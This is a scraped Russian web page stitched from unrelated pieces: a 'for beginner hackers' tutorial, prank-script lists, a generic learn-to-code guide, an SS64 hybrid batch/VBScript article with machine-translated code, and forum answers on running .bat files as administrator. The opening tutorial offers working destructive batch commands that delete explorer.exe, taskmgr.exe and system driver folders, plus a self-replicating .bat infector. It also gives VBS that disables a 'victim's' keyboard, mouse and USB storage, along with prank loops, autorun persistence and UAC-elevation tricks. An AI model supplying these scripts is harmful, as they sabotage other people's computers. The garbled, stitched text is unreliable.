Скрипты vbs bat: Как запустить 2 vbs скрипта? — Хабр Q&A

vbs — Для начинающих хакеров

Ну вот я снова с вами.
Очень жаль что wog.net умер унеся вместе с собой в могилу парочку моих статей.Ну да ладно.
Будем вместе двигаться вперед творить и вытворять всякие пакости).
Ну поехали.
В этот раз давайте не будем писать bat файлы в огромных количествах (ну если только один или два). А займемся мы VBS.
Начнем мы с bat да-да для разминочки.
Кто не знает что это за исполняймые файлы с разрешение bat или cmd тот нажимает Win+R
и выполняет CMD и пишет help.Надеюсь дальше обьяснять не нужно.
Так вот наш супер большой и сложный вирус
будет состоять из нескольких строк.
Только для начала нам придется открыту нашу любимую командную строку и набрать SET
это надо для того чтобы узнать список переменных сред Windows.нам интересна последняя строка windir — это переменная заменяет полный путь к папке
Windows. Начнем?Открываем notepad(блокнот) и пишем эту пургу.

*******************************
taskkill /f /im explorer. exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************

Сохраняем наш файл как I_LOVE_YOU.bat и радуемся.
После запуска такой микровещи на машине не будет не рабочего стола ни менеджера задач ни драйверов.

Я обещал один? Да?Извините не стерпел и вот выкладываю второй …

********************************
@echo off%[Bams]%
if ‘%1==’In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find «Bams»<%0>c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find «Bams»<%2>nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************

Это более сложный вирус но он и более интересный .
Он ползает по винту ищет и заражает собой *.bat файлы.

Все!Переходим к VBS вирусам.
Язык VBS в винде поддерживается с 98 версии и не требует установки дополнительных библиотек
и другой ненужной фигни).по другому VBS-язык скриптов

Ну приступим с самого легкого напугаем жертву страшным сообщением.Типа:Через минуту ваша крыса заболеет бешенством!Поставить прививку?
И спросим ДА или НЕТ.-32
С количеством показа 1 и временем показа 0(то есть пока не выберит что он хочет)
Значок выберим вопроса
кнопки да и нет-4

Открываем блокнот и пишем.

***********************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
i=1
while i>0 or i<0
S.popup «Через минуту ваша крыса заболеет бешенством!Поставить прививку?»,0, «Айболит»,4+32
i=i-1
wend
*************************************

сохраняем это чудо как mouse.vbs

Если кто то хочет чтоб значок был восклицание тот пишет 48 Вместо 32.
Дальше мы разберемся с этими параметрами).

Попугали значит мы жертву сообшениями (или бабушку которая любит пасьянс ) и движемся вперед.
А впереди у нас корзина(скучное название) надо бы его изменить например на Свалку или Бомжатник
все зависит от фантазии но код очень простой.

***************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»Свалка»

***************************************

Название то поменяли только зачем нам свалка на столе? Еще место занимает а не снести линам ее вообше?
Нет проблем для этих сучаев имеем это чудо.

****************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regdelete»HKLM\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}\»

****************************************

Не устал мой друг? Если нет то мы подолжаем чудить , а если честно то только начинаем.
Что то скучно.надо бы музыку для поднятия настроения ну тут у нас два выхода либо мы заставляем трещать флопигрыз
,либо пишать бесприрывно встроенный динамик.Выбор за вами.
Вот это прикол с флопигрызом.

*****************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

do
fso.getfile(«A:\»)
loop

******************************************

ну а это уже динамик.

******************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop

*******************************************

Ну теперь мы займемся более серьезными вещами.
Бывают случаи что надо порализовать либо клавиатуру либо мышку.
Клавиатуру в накаут выводим так:

*******************************************

Set S = CreateObject(«Wscript. Shell»)
set FSO=createobject(«scripting.filesystemobject»)

s.run»reg add «»hklm\system\currentcontrolset\control\keyboa rd layout»» /v «»Scancode Map»» /t REG_BINARY /d 0000000000000000A000000000005DE000000E0000003A0000 0053E000004FE000001C0000000100000047E0000052E00000 380000001D0000002A0000005BE000004500000051E0000049 E000005EE0000037E0000038E000001DE00000360000005CE0 0000460000005FE00000390000000F00000063E00000280000 000C000000330000003400000035000000270000001A000000 2B0000001B000000290000000D0000000B0000000200000003 00000004000000050000000600000007000000080000000900 00000A0000001E000000300000002E00000020000000120000 00210000002200000023000000170000002400000025000000 26000000320000003100000018000000190000001000000013 0000001F00000014000000160000002F000000110000002D00 0000150000002C0000003B0000003C0000003D0000003E0000 003F0000004000000041000000420000004300000044000000 5700000058000000640000006500000066000000520000004F 00000050000000510000004B0000004C0000004D0000004700 000048000000490000004A000000370000005300000035E000 004E0000001CE0000050E000004BE000004DE0000048E00000 0000″,0

********************************************

И следом летит крыса.

********************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ Mouclass\Start»,»4″,»REG_DWORD»

********************************************

Затем нам вдруг приспичило отключить все что висит на USB портах.Ну например чтоб чел не успел
сохранить весь дорогой ему сердцу мусор на флешку.
И мы делаем обрезание портов=)

**********************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ USBSTOR\Start»,»4″,»REG_DWORD»

**********************************************

Ну вот я и немного ввел вас в мир шуток и подлянок на VBS.
Это только первая часть моей небольшой статьи.

В архиве лежат все файлики которые описаные в этой статье.
Конец первой части.

Старые добрые вирусы в bat и vbs

Всем привет сегодня мы поговорил как затролить друга с помощью вирусов в bat и vbs. Вот несколько скриптов. Сначала создаем текстовый документ и пишем туда вот это( по выбору)
Скрипты:

1. Ошибка

do
MsgBox»Тут мы можем писать что хотим!»,20+1,»Ошибка»
loop

2. Мигающая клавиатура.
Заставляет мигать лампочки у клавиатуры (Num Lock, Caps Lock, Scroll Lock)

Скрипт:
Set s = CreateObject(«Wscript.Shell»)
do
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s. sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
loop

3. Въезжающий — выезжающий дисковод
Заставляет бесконечно въезжать — выезжать дисковод в компьютере

Скрипт:
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

4. Бесконечно пищащий системный динамик

Действие:
Заставляет бесконечно пищать системный динамик в процессоре компьютера

СКРИПТ:
Set S = CreateObject(«Wscript.Shell»)
do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop

5. Бесконечно жужжащий разъем для дискет

Действие:
Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.

СКРИПТ:
Set WSHShell=WScript.CreateObject(«WScript.Shell»)
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject(«WScript. Shell»)
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo(«A:\»,true)
loop
Потом сохраняем этот текстовый документ и переименовываем из .txt в .vbs
Все готово
Закрыть можно через диспетчер задач
Заходим в процессы в диспетчере задач и ищем процесс wscript
И завершаем этот процесс
Спасибо за внимание

Приложения для программирования на компьютер. Пишем программы (скрипты) в Блокноте Windows

Хотите научиться программировать? Вам не нужно навороченное программное обеспечение; Вы сможете работать с любым языком программирования в Блокноте. Функционал не слишком широкий, но отлично подходит для пакетных файлов и тестирования других небольших программ. Вы сможете создать простую программу за несколько минут, но для более сложных программных продуктов, возможно вам стоит подумать о более продвинутом редакторе.

Шаги

Часть 1

Использование Блокнота для программирования на любом языке

Часть 2

Создание пакетного файла

    Научитесь простейшим пакетным командам. Блокнот очень часто используется для создания пакетных файлов. Пакетные файлы являются программами, которые используются для автоматических функций в командной строке. Вы можете использовать пакетные файлы, чтобы применить изменения к большому количеству файлов одновременно, создать резервные копии и многое другое.

  • Снизу представлены простейшие примеры пакетных программ.
  • Напишите простейшую программу для создания резервных копий. Это простая программа в состоянии создавать резервную копию файлов из одной папки в другую, копируя только те файлы, которые были изменены со времени последней резервной копии.

    Напишите командный файл, чтобы протестировать вашу сеть. Если вы захотите протестировать вашу сеть или подключение к интернету, то данный пакетный файл будет отображать информацию команд Ipconfig и Ping.

    Сохраните файл в формате.bat. Когда вы создаете пакетный файл в Блокноте, вам придется сохранить его в качестве файла.

    bat. Файл станет исполняющим, который запускается двойным нажатием мышки или с помощью командной строки.

    • Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите «Все файлы (*.*)». Введите разрешение.bat. Файл сохраниться в качестве пакетного файла, позволяя его запускать.
  • Создайте собственный пакетные файлы. Вы сможете сделать многое с помощью пакетных файлов. Вы сможете добавить задержки, создать программу для сжатия файлов, добавить пароль и многое другое.

    • Поищите в интернете дополнительную информацию по работе и созданию пакетных файлов.
  • Часть 3

    Создание программы на Python
    1. Научитесь простейшим скриптам на Python-е. Python является популярным языком программирования для веб-скриптов, и одним из самых простых языков для изучения. Программы на Pyhton не обязательно должны быть сложными; вам понадобится установленный интерпретатор. Большинство программ на Python работают через интерфейс командной строки.

      • Снизу вы можете увидеть несколько простых примеров файлов на Python-е.
    2. Создайте программу «Hello, World».

      Это является самой простой программой для создания и учит основам конструирования программ на Python. Программа отображает слова «Hello, World!» на экране пользователя.

      Выведите последовательность Фибоначчи. Это простая программа подсчитывает числа Фибоначчи до 100. Вы сможете изменить значение 100 (на второй строке) на любое другое. Не забудьте включить выступы – это то, как на Python-е обозначаются функции.

      Запустите ваши программы. Вам не нужно компилировать программы на Python-е, чтобы их запустить. Если у вас есть установленный интерпретатор, то вы сможете запустить сохраненный файл, чтобы запустить программу. Кликните на Файл – Сохранить как. В контекстном меню “Сохранить в формате” выберите «Все файлы (*.*)». Введите разрешение “.py”. Таким образом интерпретатор сможет распознать и запустить нужный файл.

    3. Создайте другие программы на Python-е. Даже если вы не очень знакомы с языком, Python является очень мощным языком программирования, который поможет в создании многих полезных вещей. Вы сможете создать списки, петли и графики. Вы даже сможете создать игру, используя Python.

      • Поищите в интернете дополнительную информацию по работе и созданию программ на Python-е.

    С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.

    Большинство похожих скриптов пишутся для удобства и автоматизации каких-либо действий на компьютере с ОС Windows. Представленные же ниже скрипты мало окажутся полезными (может мне так кажется), но они отлично подойдут для первоначального знакомства с «кодингом». Вы отлично проведете время, удивив как себя, так и знакомых чайников (не программистов), плюс это еще один хороший вариант .

    Немного терминологии:

    • VBS — язык программирования для создания скриптов в ОС Windows, создается/редактируется в Блокноте Windows, имеет разрешение «.vbs». Думаю, продолжать не имеет смысла, ибо это мало о чем скажет, особенно новичкам. Интересующимся — .
    • BAT — пакетный файл, в народе просто «батник». Расширение файла «.bat». Дальше аналогично — .

    Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот — Notepad++. Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем — ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.

    Для наглядности пример (слева — Блокнот Windows, справа — Notepad++):


    Приступим

    Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления — то, что нужно.

    Научим компьютер здороваться

    1. Открываем Блокнот (или Notepad Plus Plus).
    2. Копируем в вставляем код:

      Set sapi=CreateObject(«sapi.spvoice»)

      sapi.Speak «Hello!»

    3. Обязательное условие: кавычки должны быть “такими”, «ёлочки» не подойдут, скрипт не будет обрабатываться и выйдет ошибка. Вместо слова «Hello» можете написать что угодно, даже по русски, при наличии русского голосового движка.
    4. Дальше выбираем Файл — Сохранить как — Тип файла — Все файлы — название.vbs
    5. Называйте файл как хотите, но не забудьте в конце прописать расширение — .vbs (пример — Privet.vbs).
    6. Теперь пробуйте проверить свой скрипт — запустите файл двойным щелчок мыши.

    Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь и вновь возвращайтесь сюда.

    Теперь, сделаем следующее: пропишем данный скрипт в автозагрузку, а это означает то, что при запуске компьютера вам будет произнесено написанное в программе слово (слова), если как в примере, то будет говорить — «Hello» при каждом включении компьютера. Как это сделать?

    Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:

    Dim vOrg, objArgs, root, key, WshShell
    root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
    KeyHP = «Program»
    Set WshShell = WScript.CreateObject(«WScript.Shell»)
    WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»

    Изменяем путь до скрипта «говорилки», вот эту строчку — C:\Privet.vbs на свою. Прописываем где у вас лежит этот скрипт и как называется. Дальше сохраняем только что созданную мини программу в блокноте и запускаем. Все, теперь компьютер будет с вами здороваться пр каждом включении.

    Открыть дисковод

    1. Открыть блокнот. Скопировать/Вставить следующий код:

      Set a = CreateObject(«WMPlayer.OCX.7»)
      Set b = a.CdromCollection
      Set c = b.Item(0)
      Set d = c.Eject

    2. Сохранить с расширением.vbs
    3. Запустить скрипт и откроется дисковод.

    Есть более интересная модификация данного скрипта:

    Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
    do
    WMPlayer.CdRomCollection.Item(0).Eject()
    loop

    В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.

    Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и ) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.

    Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:

    1. Запустить диспетчер задач ( — Ctrl+Alt+Del).
    2. Перейти на вкладку «Процессы».
    3. Найти процесс wscript.exe — правая кнопка мыши — завершить процесс.

    Игра

    Интересная находка из Сети — игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.

    Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение.vbs).

    Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.

    Set y = CreateObject(«Scripting.FileSystemObject»)
    Set y = Nothing
    Do
    a = 0
    u = 0
    Randomize
    Number = Int((RND*99)+1)
    MsgBox «Я загадал число от 1 до 100, попробуй отгадать»,64,»Угадайка»
    Do
    a = a + 1
    c = InputBox(«Угадай число» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число!» & vbCrLf & vbCrLf & «Для выхода оставьте поле пустым» & vbCrLf & vbCrLf,»Угадайка»)
    If c = «!» Then CreateObject(«WScript. Shell»).Run «notepad C:\Windows\Result.dll»,3,True: Exit Do
    If c «» Then
    If IsNumeric(c) = True Then
    If CInt(c) If CInt(c) > Number Then MsgBox «Нет,это не » & c & «. Я загадал число меньше»,64,»Угадайка»
    If CInt(c) = Number Then
    Set y = CreateObject(«Scripting.FileSystemObject»)
    MsgBox («Количество попыток: » & a)
    If MsgBox («Правильно, это было число » & c & «. Начать заного?»,36,»Угадайка») = 6 Then Exit Do Else WScript.Quit
    End If
    Else
    MsgBox «Это не число!»,16,»Угадайка»
    a = a — 1
    End If
    Else
    a = a — 1
    l = MsgBox («Ты ничего не ввел. Выйти из программы?»,36,»Угадайка»)
    If l = 6 Then WScript.Quit
    End If
    Loop
    loop

    Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.

    Скрипт закрывающий wscript.exe

    Сам скрипт:

    Set TaskKill = CreateObject(«WScript.Shell»)
    TaskKill.Run «TaskKill /f /im wscript. exe»

    По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.

    Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее — батник).

    Совсем простой батник состоящий всего из одной строки.

    1. Открываем Блокнот.
    2. Пишем следующий код:

      shutdown -s -t 1 -c -f

    3. Далее Файл — Сохранить как — нзвание.bat
    4. Обратите внимание на расширение файла, это уже не VBS скрипт, а батник, по этому в конце названия прописываем.bat (Пример compoff.bat).
    5. Запускаем только что созданный батник двойным щелчком мыши и компьютер выключится (Завершение работы).

    Есть такой вариант кода:

    shutdown -r -t 1 -c -f

    Все также, прописываем в блокноте, сохраняем с расширением. bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).

    Удаление обновлений

    Данный батник пригодится в том случае, если вы уже . В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия — обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить , в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.

    @echo
    echo
    echo Step 1: Delete Updates Telemetry
    wusa /uninstall /kb:3068708 /quiet /norestart
    wusa /uninstall /kb:3022345 /quiet /norestart
    wusa /uninstall /kb:3075249 /quiet /norestart
    wusa /uninstall /kb:3080149 /quiet /norestart

    Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет .

    В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например — вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или Windows или сделать восстановление системы.

    По мере того как технология становится все более и более доступной широкой публике, растет и потребность в программистах. Написание компьютерных кодов и программ, оно же кодинг (от англ. «Coding»), — это навык, который приобретается и совершенствуется на протяжении долгого времени, но даже самый опытный программист когда-то был новичком. Существует большое разнообразие языков программирования, которые великолепно подходят для начинающих программистов, вне зависимости от того, в какой сфере деятельности вы хотите применять ваши навыки. Узнайте, как научиться писать компьютерные программы, прочитав эту статью.

    Шаги

    Выучите язык программирования

      Не слишком волнуйтесь по поводу того, какой язык вам стоит выбрать для изучения. Многие начинающие программисты затрудняются выбрать язык, когда они только начинают изучать написание программных кодов. Непосредственно сам язык, который вы выберете, не имеет значения, когда речь заходит об изучении структур и логики построения информации. Эти навыки являются намного более важными, и их можно выучить с любым языком программирования.

    • Выбирая язык, сконцентрируйтесь на том, в каких целях вы хотите создавать программные коды, и уже потом выбирайте начальный язык. К примеру, если вы хотите заниматься разработкой веб-сайтов, то вам следует начать с изучения HTML, а затем дополнить его языками CSS, JavaScript и PHP. Если вы хотите создавать программы для компьютеров, то начните изучать C ++ или любой другой основной язык программирования.
    • Если вы станете профессиональным программистом, то вы быстро поймете, что вы никогда не будете использовать тот язык, который вы изначально выучили, для вашей работы. Вместо этого, вы будете все время продолжать учить новые языки через документацию и эксперименты.
  • Найдите бесплатные онлайн-ресурсы, посвященные вашему выбранному языку. Интернет — это сундук с сокровищами, который хранит в себе бесплатные пособия, курсы и видео, посвященные языку, который вы решили учить. Вы можете выучить основы почти любого вводного языка за день.

    • Вот только несколько популярных сайтов: Bento, CodeAcademy, Code.org, html.net, Khan Academy, Udacity, W3Schools и многие другие.
    • На wikiHow тоже можно найти большое разнообразие начальных пособий для разных языков.
    • Вы можете найти обучающие видео практически для любого языка на YouTube.
    • Stack Exchange — это один из самых популярных форумов, на котором профессиональные программисты отвечают на любые вопросы пользователей.
  • Скачайте хороший текстовый редактор. Многие языки программирования позволяют использование внешних текстовых редакторов для написания программ. Найдите текстовый редактор, который будет отображать отступы и кодовую разметку.

    • Популярные программы включают Notepad++ (Windows), TextWrangler (OS X) и JEdit (любая система).
  • Скачайте любые необходимые компиляторы. Некоторые языки программирования требуют компилятор для отображения исходного кода, который вы написали. Компиляторы транслируют исходный код в эквивалентную программу на языке низкого уровня, которая затем обрабатывается компьютером. Многие компиляторы являются открытыми и бесплатными программами. Языки, которые требуют использование компиляторов, включают:

  • Начните ваш первый проект. Выберите хороший вводный проект, который позволит вам испробовать ваши новые навыки. В интернете существует множество предложений и пособий по этой теме; например, вы можете начать с создания простых веб-сайтов с HTML, простых баз данных и функций с PHP или простых программ на любом из языков, требующих использование компиляторов.

    Рассматривайте детали других программ или веб-проектов. Когда вы учите код на ходу, не стыдитесь искать подсказки в интернете и смотреть, как другие люди решают подобные проблемы. Уделяйте время на то, чтобы понять, почему определенные линии кода ведут себя определенным образом.

    • Посмотрите это руководство, чтобы узнать, как можно просмотреть исходный код любого веб-сайта.
  • Расширьте ваши знания

    1. Запишитесь на курсы. Университеты, колледжи и интернет-программы предлагают сертификаты и курсы, которые не только научат вас программированию, но и помогут вам найти работу. Хотя университетский диплом по специальности программиста не всегда нужен, он может помочь вам найти постоянную работу в качестве программиста.

      • Неоспорима и польза от прямого общения с учителем или специалистом в области программирования, которое не всегда доступно через онлайн-курсы.
      • Обучение на программиста может обойтись вам довольно дорого, поэтому внимательно подумайте, стоит ли оно того. Если вы увлекаетесь написанием компьютерных программ только в качестве хобби, то вам не стоит тратить время и деньги на профессиональные курсы. Если же вы хотите построит карьеру в этой области, то получение профессионального образования может значительно вам в этом помочь (но, опять же, оно не обязательно, если у вас есть талант).
    2. Расширьте ваши знания. Вы получите пользу не только от изучения языков программирования, но и от курсов по математике и логике, так как эти предметы часто требуют владения программированием на высоком уровне. Вам необязательно учить это в школе или институте, хотя подобная среда может быть полезна.

    Hybrid Batch и VBscript — VBScript

    Hybrid Batch и VBscript — VBScript — SS64.com

    Если вам нужно запустить и командный файл, и VBScript, самый простой способ — иметь два отдельных файла и запускать один из другого, но для этого требуется, чтобы оба сценария находились в одной папке (или в каком-то известном месте. )

    Гибридный сценарий — это отдельный сценарий, содержащий как пакетные команды, так и команды VBscript. Обычно это работает с использованием перенаправления для создания временного файла vbscript.

    Например, чтобы сгенерировать однострочный VBScript, содержащий wscript.echo «Hello world», вы можете выполнить
    Echo wscript.echo «Hello world» >% temp% \ ~ hi. vbs
    cscript // нет% temp% \ ~ hi.vbs

    Переменная% temp% будет расширена до папки временных файлов пользователя.

    Написание более длинных гибридных сценариев может включать в себя множество команд эха и перенаправления, по одной для каждой строки, поэтому есть несколько методов, которые можно использовать, чтобы сделать это менее подробным, используя переменные для хранения повторяющихся команд / параметров или, как показано ниже, используя comment (‘VBS) в конце каждой строки VBScript, а затем с помощью Findstr извлечь VBScript.
    Выражение% ~ f0 преобразуется в полный путь к пакетному файлу, поэтому это позволяет сценарию искать сам себя:

     @ Эхо выключено
    Setlocal
    Echo Это командный файл
    FINDSTR / E " 'VBS " "% ~ f0>% temp% \ ~ temp.vbs
    cscript // нет% temp% \ ~ temp.vbs
    Del% temp% \ ~ temp.vbs
    Echo All Done.
    ВЫХОД
    
    Sub Demo  'VBS 
       wscript.echo «Добро пожаловать в VBScript»  'VBS 
    Концевой переводник  'VBS 
    
    демо  'VBS 
    wscript. выйти 0  'VBS  

    «На самом деле я предсказал, что через 30 лет большинство новых автомобилей, производимых в Соединенных Штатах, будут электрическими. И я не имею в виду гибрид, я имею в виду полностью электрический »~ Илон Маск

    .

    Связанные

    Гибридные сценарии без временного файла — StackOverflow
    Запуск сценария из VBScript
    Запуск сценария из PowerShell
    Запуск сценария из оболочки CMD


    Авторские права © 1999-2021 SS64.com
    Некоторые права защищены.

    [решено] Как вызвать файл .bat в сценарии входа в систему .VBS? — ИТ-программирование

    В вашем сценарии есть ряд проблем. Первый начинается с «При ошибке возобновить следующий». Это в основном скрывает любые сообщения об ошибках и пытается продолжить выполнение сценария. Особенно при первом создании скрипта вам необходимо видеть эти сообщения об ошибках, чтобы вы могли их исправить.

    Вы также тестируете уровень ошибок, которого нет в VBScript. Вместо этого вы хотите проверить объект Err следующим образом:

     если Err.Number <> 0, то
        WScript.Echo "error" & Err.Number & ":" & Err.Description
        Err.Clear
        'затем WScript.Quit по мере необходимости
    конец, если
     

    Затем вы дважды создаете objNetwork и colDrives, а затем продолжаете создавать WshNetwork каждый раз через цикл сетевой карты. Вы можете просто создать один экземпляр objNetwork и использовать его повсюду.

    Что касается запуска вашего командного файла, первая проблема, которую я вижу, заключается в том, что вы используете объект WSHShell, но нигде его не создаете.«При ошибке возобновить следующий» подавлял ошибку, которую вы могли бы увидеть по этому поводу. Добавьте эту строку после создания colDrives:

     установить WSHShell = CreateObject ("WScript.Shell")
     

    Правильный синтаксис для запуска командного файла:

     WSHShell.Run "c: \ prt.bat", 1, True
     

    где 1 означает показать запущенную программу, а True означает дождаться ее завершения. Вам не нужно использовать CMD.EXE для его запуска или какие-либо дополнительные кавычки.

    Попробуйте этот простой пример.Сначала создайте test.bat:

    БАШ

     @ эхо выкл.
    echo "это test.bat!"
    Пауза
     

    Затем в этой же папке создайте runtest.vbs:

     установить WSHShell = CreateObject ("WScript.Shell")
    WSHShell.Run "test.bat", 1, True
     

    Другое дело, вы запускаете основную часть скрипта внутри цикла for сетевой карты 1, но затем завершаете скрипт до завершения цикла. Вместо этого вы просто хотите взять первый включенный элемент коллекции NIC1, чтобы получить IP-адрес, а затем продолжить выполнение сценария.Используйте такую ​​петлю:

     для каждого Nic в NIC1
        если Nic.IPEnabled, то
            StrIP = Nic.IPAddress (i)
            arrIPAddress = Разделить (StrIP, ".")
            школа = arrIPAddress (1)
    
            выход для
    
        конец, если 'NIC включен
    следующий 'NIC
     

    Есть и другие вещи, которые можно упростить, но эти исправления должны помочь вам начать работу.

    Автоматически запускать пакетный файл bat от имени администратора (VBS и bat)

    Однако по умолчанию пакетные сценарии не запускаются от имени администратора.Обычно я назову сценарий «XXXXXX» (щелкните правой кнопкой мыши, запустите от имени администратора!). Bat », но некоторые пользователи проигнорируют это приглашение и запустят напрямую. В настоящее время скрипт не запускается из-за недостаточных разрешений.

    Мы можем использовать гибкий метод, разрешить запуск летучей мыши, сначала вызвать сценарий vbs, через сценарий vbs, как администратор, чтобы вызвать запуск как часть летучей мыши

    Наш скрипт может быть написан под runas, поэтому нажимаем скрипт bat и запускаем от имени администратора

    Пример кода выглядит следующим образом

      @ECHO ВЫКЛ.
    setlocal EnableDelayedExpansion
    цвет 3e
    Заголовок добавить конфигурацию службы
     
    PUSHD% ~ DP0 и cd / d "% ~ dp0"
    % 1% 2
    mshta vbscript: createobject ("shell.application ").  shellexecute ("% ~ s0 "," goto: runas "," "," runas ", 1) (window.close) & goto: eof
    :беги как
     
    :: заполните свой собственный скрипт
     
    Выполнение эха завершено, любая клавиша для выхода
     
    пауза> ноль
    выход  

    VBS запускает bat2 с правами администратора

      Установить objShell = CreateObject («WScript.Shell»)
    strPath = Replace (WScript.ScriptFullName, имя файла, ")
    objShell.Run («runas / пользователь: администратор» & strPath & «cmd.Bat»)
    WScript.Sleep 1000
    objShell.SendKeys «пароль {ENTER}»
    WScript.Сон 1000  

    Примечание: runas не может передавать параметры

    В сценарии bat выполнить команду с правами администратора

    Установите записанную летучую мышь для загрузки, но по умолчанию она не запускается от имени администратора, поэтому некоторые команды не могут быть выполнены при запуске

    Прежде всего: если окна будут появляться каждый раз, когда вы получаете разрешение администратора, вы должны сначала закрыть всплывающее окно

    Метод закрытия заключается в том, что окно подсказки отображается темным шрифтом при появлении подсказки. В подсказке можно изменить настройки всплывающего окна, щелкнуть и установить для него никогда или не всплывающее окно

    Затем просто добавьте немного кода в файл. Сценарий bat для запуска от имени администратора

    Добавьте следующую команду в первую строку файла сценария bat:

    :: заставить администратора запустить

     
    % 1 mshta vbscript: CreateObject («Shell.Application»). ShellExecute («cmd.exe», «/ c% ~ s0 ::», «», «runas», 1) (window.close) && exit  

    Как CMD / Bat может автоматически запрашивать разрешение администратора, не щелкая правой кнопкой мыши администратора

    Первый полный код:

      @ эхо выкл.
    > nul 2> & 1 "% SYSTEMROOT% \ system32 \ cacls.)> "% temp% \ getadmin.vbs"
    echo UAC.ShellExecute "% ~ s0", "", "", "runas", 1 >> "% temp% \ getadmin.vbs"
    "% temp% \ getadmin.vbs"
    выход / B
    : gotAdmin  

    Принцип следующий:

